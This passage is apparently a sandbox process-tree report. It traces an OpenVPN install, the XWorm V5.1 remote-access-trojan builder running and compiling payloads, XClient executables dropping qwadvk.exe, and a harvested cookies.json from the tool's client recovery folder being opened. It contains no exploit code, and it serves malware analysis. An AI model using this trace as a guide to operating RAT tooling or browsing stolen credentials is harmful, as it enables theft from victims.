  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8644,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8096 /prefetch:8
  2⤵
  PID:6228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9000,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8416 /prefetch:8
  2⤵
  PID:7068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8660,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=9152 /prefetch:8
  2⤵
  PID:6748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=9296,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=9304 /prefetch:8
  2⤵
  PID:7120
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --field-trial-handle=8556,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=8600 /prefetch:1
  2⤵
  PID:6468
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --field-trial-handle=6092,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6576 /prefetch:1
  2⤵
  PID:6208
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --field-trial-handle=4452,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5364 /prefetch:1
  2⤵
  PID:1648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4432,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5020 /prefetch:8
  2⤵
  PID:5824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7232,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6176 /prefetch:8
  2⤵
  PID:7116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --field-trial-handle=4572,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4328 /prefetch:1
  2⤵
  PID:5900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7412,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7436 /prefetch:8
  2⤵
  PID:5788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6236,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7528 /prefetch:8
  2⤵
  PID:5948
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=76 --field-trial-handle=6984,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:3508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --field-trial-handle=4448,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=6116 /prefetch:1
  2⤵
  PID:3200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7216,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7836 /prefetch:8
  2⤵
  PID:3328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3536,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=4920 /prefetch:8
  2⤵
  PID:5172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --field-trial-handle=8672,i,12172026993180939695,5056524176161258864,262144 --variations-seed-version=20250217-180411.635000 --mojo-platform-channel-handle=7292 /prefetch:1
  2⤵
  PID:6672

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3580

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 25B3A6D057D42B8C8474CB22AC299F10 C
  2⤵
  - Loads dropped DLL
  PID:4592
- - C:\Program Files\OpenVPN\bin\openvpn-gui.exe
    "C:\Program Files\OpenVPN\bin\openvpn-gui.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies registry class
    - NTFS ADS
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:5184
  - - C:\Program Files\OpenVPN\bin\openvpn.exe
      openvpn --version
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:6004
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:5524
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding EE372FC70CEF78401C75C488875D9F34
  2⤵
  - Loads dropped DLL
  PID:5652
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 75A31FD296E539B82FD83FB4FC163DB2 E Global\MSI0000
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Modifies data under HKEY_USERS
  PID:4996
- - C:\Windows\System32\netsh.exe
    netsh interface set interface name="Local Area Connection" newname="OpenVPN Wintun"
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:6116
- - C:\Windows\System32\netsh.exe
    netsh interface set interface name="Local Area Connection" newname="OpenVPN TAP-Windows6"
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:2816
- - C:\Windows\System32\netsh.exe
    netsh interface set interface name="Local Area Connection" newname="OpenVPN Data Channel Offload"
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    PID:5932
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config OpenVPNService start= auto
    3⤵
    - Launches sc.exe
    PID:5464
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" start OpenVPNService
    3⤵
    - Launches sc.exe
    PID:5156

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:5564
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "1" "C:\Windows\Temp\4a6d2b123dc6bd94c00543024ef7a9b7507bf5ef6656d2a8b96424d1e430b9b7\wintun.inf" "9" "431e5e91f" "0000000000000130" "WinSta0\Default" "0000000000000168" "208" "C:\Windows\Temp\4a6d2b123dc6bd94c00543024ef7a9b7507bf5ef6656d2a8b96424d1e430b9b7"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Modifies data under HKEY_USERS
  PID:5888
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "1" "C:\Windows\Temp\78b707b3cbfd14c482c290b636e9b49c94ed589bc2b246d622f50ab5c4ba6b08\OemVista.inf" "9" "4ed2a8887" "000000000000016C" "WinSta0\Default" "0000000000000164" "208" "C:\Windows\Temp\78b707b3cbfd14c482c290b636e9b49c94ed589bc2b246d622f50ab5c4ba6b08"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Modifies data under HKEY_USERS
  PID:5348
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "1" "C:\Program Files\Common Files\ovpn-dco\Win11\ovpn-dco.inf" "9" "4e746adf3" "0000000000000164" "WinSta0\Default" "0000000000000178" "208" "C:\Program Files\Common Files\ovpn-dco\Win11"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Modifies data under HKEY_USERS
  PID:5940
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "11" "ROOT\NET\0000" "C:\Windows\INF\oem3.inf" "oem3.inf:9ef34515d755ec66:Wintun.Install:0.8.0.0:wintun," "42b53aaff" "0000000000000164" "3740"
  2⤵
  - Drops file in Drivers directory
  - Checks SCSI registry key(s)
  PID:5992
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "11" "ROOT\NET\0001" "C:\Windows\INF\oem4.inf" "oem4.inf:3beb73aff103cc24:tap0901.ndi:9.27.0.0:root\tap0901," "433338203" "0000000000000160" "3740"
  2⤵
  - Drops file in Drivers directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  PID:5292
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "11" "ROOT\NET\0002" "C:\Windows\INF\oem5.inf" "oem5.inf:c695c3de07ba2b5d:ovpn-dco_Device:1.2.1.0:ovpn-dco," "43b135903" "000000000000017C" "3740"
  2⤵
  - Drops file in Drivers directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  PID:1148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
- Modifies data under HKEY_USERS
PID:5552

C:\Program Files\OpenVPN\bin\openvpnserv.exe
"C:\Program Files\OpenVPN\bin\openvpnserv.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2404
- C:\Program Files\OpenVPN\bin\openvpn.exe
  openvpn --log "C:\Users\Admin\OpenVPN\log\sadsadsd.first.log" --config "sadsadsd.first.ovpn" --setenv IV_GUI_VER "OpenVPN GUI 11.51.0.0" --setenv IV_SSO openurl,webauth,crtext --service 14400000028c 0 --auth-retry interact --management 127.0.0.1 25340 stdin --management-query-passwords --management-hold --pull-filter ignore route-method --msg-channel 508
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:564

C:\Program Files\OpenVPN\bin\openvpnserv2.exe
"C:\Program Files\OpenVPN\bin\openvpnserv2.exe"
1⤵
- Executes dropped EXE
PID:4380

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=3612,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:14
1⤵
PID:5292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=5080,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4004 /prefetch:14
1⤵
PID:2728

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=4892,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4032 /prefetch:14
1⤵
PID:5824

C:\Program Files\playit_gg\bin\playit.exe
"C:\Program Files\playit_gg\bin\playit.exe"
1⤵
- Executes dropped EXE
PID:1036

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=4464,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:14
1⤵
PID:5024

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Suspicious use of SetWindowsHookEx
PID:704

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004A8 0x00000000000004B8
1⤵
PID:5128

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4840

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\XWorm v5.1-5.2\" -ad -an -ai#7zMap15033:88:7zEvent31355
1⤵
PID:2084

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=4012,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=3820 /prefetch:14
1⤵
PID:2796

C:\Users\Admin\Desktop\XWorm V5.1\XWormLoader 5.1 x64.exe
"C:\Users\Admin\Desktop\XWorm V5.1\XWormLoader 5.1 x64.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:5624
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\xvm0jy4j\xvm0jy4j.cmdline"
  2⤵
  PID:5964
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCE84.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc22CD627A9BCD4800A055AE1D13F1747.TMP"
    3⤵
    PID:2520
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\ya3figcy\ya3figcy.cmdline"
  2⤵
  PID:5060
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1B76.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc37F1C5293B914C9B95134DC26FCB3872.TMP"
    3⤵
    PID:5596
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\lpyjttzq\lpyjttzq.cmdline"
  2⤵
  PID:4752
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE62.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcC0840FA763FA46F69D298D68A5DF8855.TMP"
    3⤵
    PID:796
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\v2md4j1n\v2md4j1n.cmdline"
  2⤵
  PID:6936
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES986A.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc18BDD831829E4118ADD7A1673AD62C56.TMP"
    3⤵
    PID:6464
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\oyyxk1a4\oyyxk1a4.cmdline"
  2⤵
  PID:2848
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2D0F.tmp" "C:\Users\Admin\AppData\Local\Temp\vbc20199102601D4572A19627137975931A.TMP"
    3⤵
    PID:1052

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:1388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=3784,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=2908 /prefetch:14
1⤵
PID:4924

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2252,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4008 /prefetch:14
1⤵
PID:3916

C:\Users\Admin\Desktop\XClient.exe
"C:\Users\Admin\Desktop\XClient.exe"
1⤵
- Executes dropped EXE
PID:2312

C:\Users\Admin\Desktop\XClient.exe
"C:\Users\Admin\Desktop\XClient.exe"
1⤵
- Executes dropped EXE
PID:5688

C:\Users\Admin\Desktop\XClient2.exe
"C:\Users\Admin\Desktop\XClient2.exe"
1⤵
- Executes dropped EXE
PID:4232

C:\Users\Admin\Desktop\XClient3.exe
"C:\Users\Admin\Desktop\XClient3.exe"
1⤵
- Executes dropped EXE
PID:5696
- C:\Users\Admin\AppData\Local\Temp\qwadvk.exe
  "C:\Users\Admin\AppData\Local\Temp\qwadvk.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3576
- - C:\Windows\Temp\{2C9AE2B9-FF99-4231-9B2D-0172C2B8353B}\.cr\qwadvk.exe
    "C:\Windows\Temp\{2C9AE2B9-FF99-4231-9B2D-0172C2B8353B}\.cr\qwadvk.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\qwadvk.exe" -burn.filehandle.attached=752 -burn.filehandle.self=760
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5488
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\hktltxgx\hktltxgx.cmdline"
  2⤵
  PID:1672
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD258.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcDCD210039DDD41509D5E73FC941EE055.TMP"
    3⤵
    PID:2352

C:\Program Files\playit_gg\bin\playit.exe
"C:\Program Files\playit_gg\bin\playit.exe"
1⤵
- Executes dropped EXE
PID:6100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=1560,i,8761251365550662630,14794322401737333251,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:14
1⤵
PID:4384

C:\Windows\System32\Taskmgr.exe
"C:\Windows\System32\Taskmgr.exe"
1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SendNotifyMessage
PID:4536

C:\Users\Admin\Desktop\XClient3.exe
"C:\Users\Admin\Desktop\XClient3.exe"
1⤵
- Executes dropped EXE
PID:6108

C:\Windows\System32\Taskmgr.exe
"C:\Windows\System32\Taskmgr.exe"
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:1952

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1128
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Desktop\XWorm V5.1\ClientsFolder\9A78ACA14CB1BEF2667A\Recovery\RecoveryData\cookies.json"
  2⤵
  PID:6076
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Users\Admin\Desktop\XWorm V5.1\ClientsFolder\9A78ACA14CB1BEF2667A\Recovery\RecoveryData\cookies.json"
    3⤵
    - Checks processor information in registry
    - Suspicious use of SetWindowsHookEx
    PID:3748
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1928 -parentBuildID 20240401114208 -prefsHandle 1852 -prefMapHandle 1848 -prefsLen 27419 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {26222031-b01e-4325-8e60-93a07a4cb7d1} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" gpu
      4⤵
      PID:5772
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2384 -prefMapHandle 2380 -prefsLen 28339 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {75d441fc-42e0-4d5e-a0b4-a782d476e79b} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" socket
      4⤵
      Checks processor information in registry
      PID:5520
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1608 -childID 1 -isForBrowser -prefsHandle 3040 -prefMapHandle 3120 -prefsLen 28480 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ff8ceda-2d9d-4bb2-889c-d6e7bdded54f} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" tab
      4⤵
      PID:6256
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3616 -childID 2 -isForBrowser -prefsHandle 3724 -prefMapHandle 3720 -prefsLen 32829 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee15f693-5843-4131-8e0d-afc01637b269} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" tab
      4⤵
      PID:6444
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2548 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4508 -prefMapHandle 4504 -prefsLen 32829 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {64caf507-418e-4181-9a15-eea4ce241e30} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" utility
      4⤵
      Checks processor information in registry
      PID:6176
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1332 -childID 3 -isForBrowser -prefsHandle 4456 -prefMapHandle 3892 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3908cc4b-dbd9-4f62-8953-861b532d0014} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" tab
      4⤵
      PID:2656
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5476 -childID 4 -isForBrowser -prefsHandle 5552 -prefMapHandle 5548 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {542c2667-42bc-4ab2-b20b-1dab9d93e252} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" tab
      4⤵
      PID:6360
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5668 -childID 5 -isForBrowser -prefsHandle 5744 -prefMapHandle 5740 -prefsLen 27226 -prefMapSize 244658 -jsInitHandle 936 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {714edf44-b6b5-4870-a8ad-b0220834e4ac} 3748 "\\.\pipe\gecko-crash-server-pipe.3748" tab
      4⤵
      PID:6396

C:\Program Files\Mozilla Firefox\firefox.exe
